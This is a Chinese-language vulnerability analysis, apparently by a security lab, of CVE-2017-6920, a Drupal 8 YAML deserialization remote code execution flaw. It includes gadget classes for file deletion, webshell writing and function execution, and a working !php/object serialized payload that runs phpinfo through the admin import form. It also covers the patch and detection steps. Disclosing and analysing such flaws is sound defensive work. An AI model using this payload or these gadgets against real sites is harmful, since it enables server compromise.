天天看點

drupal 執行.php檔案,CVE-2017-6920:Drupal遠端代碼執行漏洞分析及POC構造

作者: 啟明星辰ADLab

0x01 漏洞描述

2017年6月21日,Drupal官方釋出了一個編号為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當所導緻的一個遠端代碼執行漏洞,影響8.x的Drupal Core。

0x02 漏洞分析

通過diff 8.3.3與8.3.4的檔案可以發現漏洞的觸發點,如下圖:

drupal 執行.php檔案,CVE-2017-6920:Drupal遠端代碼執行漏洞分析及POC構造
drupal 執行.php檔案,CVE-2017-6920:Drupal遠端代碼執行漏洞分析及POC構造

可以看到,8.3.4 decode函數的開始處增加了如下的代碼:

static $init;

if (!isset($init))

{ // We never want to unserialize !php/object.

ini_set('yaml.decode_php', 0);

$init = TRUE;

}

漏洞所在函數decode的觸發點代碼如下:

$data = yaml_parse($raw, 0, $ndocs, [

YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]);

decode函數的參數$raw被直接帶入了yamlparse函數中,官方文檔對于yamlparse函數的描述如下:

yamlparse

(PECL yaml >= 0.4.0) yaml_parse — Parse a YAML stream

Description

mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks = null ]]] ) Convert all or part of a YAML document stream to a PHP variable.

Parameters

input The string to parse as a YAML document stream.

pos Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.

Return Values

Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.

第一個參數是需要parse成yaml的文檔流。從上文來看,隻有yaml_parse的第一個參數是外部可控的。官方對這個函數有一個特别的說明,也就是該漏洞的觸發原理:

Notes

Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.

即可以通過!php/object來聲明一個節點,然後用這個!php/object聲明的節點内容會以unserialize的方式進行處理;如果要禁止這樣做,就通過設定yaml.decode_php來處理,這就是官方更新檔在decode函數前面加的那幾行代碼。是以,這個遠端代碼執行漏洞的罪魁禍首就是yaml_parse函數可能會用反序列化的形式來處理輸入的字元串,進而導緻通過反序列化類的方式來操作一些危險類,最終實作代碼執行。

顯然,控制decode函數的參數即可觸發該漏洞。先定位decode函數的調用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php中第33行發現:

public static function decode($raw) {

$serializer = static::getSerializer();

return $serializer::decode($raw);

}

該函數調用了getSerializer函數,跟蹤該函數在/core/lib/Drupal/Component/ Serialization/Yaml.php中第48行發現:

protected static function getSerializer() {

if (!isset(static::$serializer)) {

// Use the PECL YAML extension if it is available. It has better

// performance for file reads and is YAML compliant.

if (extension_loaded('yaml')) {

static::$serializer = YamlPecl::class;

}

else {

// Otherwise, fallback to the Symfony implementation.

static::$serializer = YamlSymfony::class;

}

}

return static::$serializer;

}

如果存在yaml擴充,$serializer就使用YamlPecl類,然後調用YamlPecl這個類中的decode函數;如果不存在yaml擴充,就用YamlSymfony類中的decode函數。顯然,一定要迫使代碼利用YamlPecl類中的decode函數,這需要引入yaml擴充,Linux平台的步驟如下:

(1)編譯yaml

在http://pecl.php.net/package/yaml下載下傳tgz源碼包,然後執行tar -zxvf yaml-1.3.0.tgz cd yaml-1.3.0 phpize ./configure make make install,執行完傳回一個檔案夾名字,這就是生成的擴充所在目錄。

(2)引用擴充

修改php.ini中的extension_dir為該擴充所在目錄,然後加上 extension=yaml.so 就可以了。

windows平台步驟更簡單,在http://pecl.php.net/package/yaml中下載下傳對應的dll檔案,然後将php_yaml.dll放入php擴充檔案夾下,然後修改php.ini,将extensiondir為phpyaml.dll所存放的目錄,然後加上 extension=php_yaml.dll。

最後重新開機apache,看到phpinfo中有yaml擴充,就說明安裝成功,如圖:

drupal 執行.php檔案,CVE-2017-6920:Drupal遠端代碼執行漏洞分析及POC構造

現在yaml擴充已經準備好,最後定位外部可控的輸入點。上文中YamlPecl::decode是在Yaml::decode函數中調用的,繼續回溯全文調用Yaml::decode函數的地方,發現外部可控的地方隻有一處,

在/core/modules/config/src/Form/ConfigSingleImportForm.php中第280行:

public function validateForm(array &$form, FormStateInterface $form_state) { // The confirmation step needs no additional validation. if ($this->data) { return; }

try {

// Decode the submitted import.

$data = Yaml::decode($form_state->getValue('import'));

}

catch (InvalidDataTypeException $e) {

$form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()]));

}

這裡對外部輸入的import值進行Ymal::decode操作,是以這裡就是漏洞的資料觸發點。

要利用該漏洞進行遠端代碼執行,需要一個可以利用的類。Drupal使用命名空間的方式來管理類,可以全局執行個體化一個類,也可以反序列化一個類;該漏洞利用了反序列,是以需要找一個反序列類。通過_destruct以及_wakeup來定位類,全局搜尋可以找到幾個可利用的類。

(1)/vendor/symfony/process/Pipes/WindowsPipes.php中的89行:

public function __destruct()

{

$this->close(); $this->removeFiles();

}

private function removeFiles()

{

foreach ($this->files as $filename)

{ if (file_exists($filename)) { @unlink($filename); } }

$this->files = array();

}

通過反序列化這個類可以造成一個任意檔案删除。

(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php中第37行:

public function __destruct() { $this->save($this->filename); }

public function save($filename) {

$json = [];

foreach ($this as $cookie) {

if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {

$json[] = $cookie->toArray();

}

}

$jsonStr = \GuzzleHttp\jsonencode($json);

if (false === fileput_contents($filename, $jsonStr))

{ throw new \RuntimeException("Unable to save file {$filename}"); }

}

通過反序列化這個類可以造成寫入webshell。

(3)/vendor/guzzlehttp/psr7/src/FnStream.php中第48行:

public function __destruct() {

if (isset($this->_fn_close)) { call_user_func($this->_fn_close); }

}

通過反序列化這個類可以造成任意無參數函數執行。

0x03 漏洞驗證

啟明星辰 ADLab 通過對本漏洞的深度分析,構造了任意無參數函數的POC并測試驗證成功,具體驗證情況如下:

第一步:序列化一個GuzzleHttp\Psr7\FnStream類, 因為序列化後的字元串可能帶有不可顯示字元,是以采用把結果寫入到檔案的方式,序列化後的字元串如圖:

drupal 執行.php檔案,CVE-2017-6920:Drupal遠端代碼執行漏洞分析及POC構造

第二步:給該序列化字元串加上yaml的!php/object tag(注意一定要轉義),最後得到的字元串如下:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

第三步:登入一個管理者賬号,通路如下url: http://localhost/drupal833/admin/config/development/configuration/single/import,然後我們進行如圖所示的操作:

drupal 執行.php檔案,CVE-2017-6920:Drupal遠端代碼執行漏洞分析及POC構造

然後點選import按鈕,就會執行phpinfo函數。

drupal 執行.php檔案,CVE-2017-6920:Drupal遠端代碼執行漏洞分析及POC構造

0x04 漏洞修複

最新釋出的Drupal 8.3.4 已經修複了該漏洞,針對低于8.3.4的版本也可以通過更新Drupal檔案/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函數進行防禦(添加如下紅色代碼即可):

public static function decode($raw) {

static $init;

if (!isset($init)) {

// We never want to unserialize !php/object.

ini_set('yaml.decode_php', 0);

$init = TRUE;

}

// yaml_parse() will error with an empty value.

if (!trim($raw)) {

return NULL;

}

......

}

0x05 漏洞檢測

針對該漏洞,可采用兩種方法進行檢測:

方法一:登陸Drupal管理背景,檢視核心版本是8.x,且版本号低于8.3.4,則存在該漏洞;否則,不存在該漏洞;

方法二:在Drupal根目錄下找到檔案/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函數public static function decode($raw),如果該函數代碼不包含" ini_set('yaml.decode_php', 0);"調用,則存在該漏洞;否則,不存在該漏洞。

相關連結:

https://www.drupal.org/SA-CORE-2017-003

啟明星辰積極防禦實驗室(ADLab)

ADLab成立于1999年,是中國安全行業最早成立的攻防技術研究實驗室之一,微軟MAPP計劃核心成員。截止目前,ADLab通過CVE釋出Windows、Linux、Unix等作業系統安全或軟體漏洞近300個,持續保持亞洲領先并确立了其在國際網絡安全領域的核心地位。實驗室研究方向涵蓋作業系統與應用系統安全研究、移動智能終端安全研究、物聯網智能裝置安全研究、Web安全研究、工控系統安全研究、雲安全研究。研究成果應用于産品核心技術研究、國家重點科技項目攻關、專業安全服務等。

本文由 Seebug Paper 釋出,如需轉載請注明來源。本文位址:https://paper.seebug.org/334/